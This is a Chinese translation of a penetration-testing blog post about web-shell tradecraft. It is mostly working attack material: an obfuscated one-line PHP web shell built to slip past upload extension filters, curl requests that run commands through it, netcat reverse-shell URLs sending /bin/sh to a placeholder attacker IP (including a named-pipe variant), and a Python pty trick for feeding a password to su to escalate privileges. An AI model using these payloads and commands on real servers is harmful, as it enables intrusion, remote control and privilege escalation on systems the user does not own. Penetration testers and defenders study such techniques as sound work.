[译]web shell中使用su

原文地址:http://pen-testing.sans.org/blog/pen-testing/2014/07/08/sneaky-stealthy-su-in-web-shells

本文的重点是讲述如何使用su

场景:web服务器中存在一个上传漏洞,site确保上传文件以.jpg或.png结尾。这时,上传一个shell.php.jpg,包含如下代码:

<?php @extract($_REQUEST); @die ($ctime($atime)); ?>

该这个shell绕过了扩展名检查,但是由于它在文件名中包含.php,许多系统把它当成脚本执行。同时,这个shell不包含"/bin/sh","shell_exec"或system字符串。

$ curl "http://Site/shell.php.jpg?ctime=system&atime=whoami"
apache

现在我们拥有了一个webshell。

接下来是建立一个连会攻击者的netcatsession

http://Site/shell.php.jpg?ctime=system&atime=nc+-nv+my.attack.er.ip+80+-e+/bin/sh

如果目标机的netcat不支持-e选项,参考GAPING_SECURITY_HOLE选项,可以使用下面的方法(参考:http://pen-testing.sans.org/blog/pen-testing/2013/05/06/netcat-without-e-no-problem):

http://Site/shell.php.jpg?ctime=system&atime=mknod+/tmp/mypipe+p;+/bin/sh+</tmp/mypipe+|+nc+my.attack.er.ip+80+>/tmp/mypipe

一旦我们建立了shell,接下来使用su/sudo来提权,因为他们使用一种特殊方法来交互(s使用sudo,参考http://ecstaticsec.tumblr.com/post/87205770569/sudo-tricks)

如果你不想有一个反向连接到你的server的connection,但是你该如何升级权限?因为sudo不可能出现在/etc/sudoers文件中。su有一个-c选项,允许我们指定命令。但是我们有一个问题,我们需要运行su以及提供一个密码。如果我莫使用echo来访su传递密码会怎样?

$ echo password | su -c whoami

必须是一个tty

可能会得到一个“mustberunfromaterminal”错误--su命令希望我们从终端运行。

我们可以使用python来伪造一个终端:

(sleep 1; echo password) | python -c "import pty; pty.spawn(['/bin/su','-c','whoami']);"

相关推荐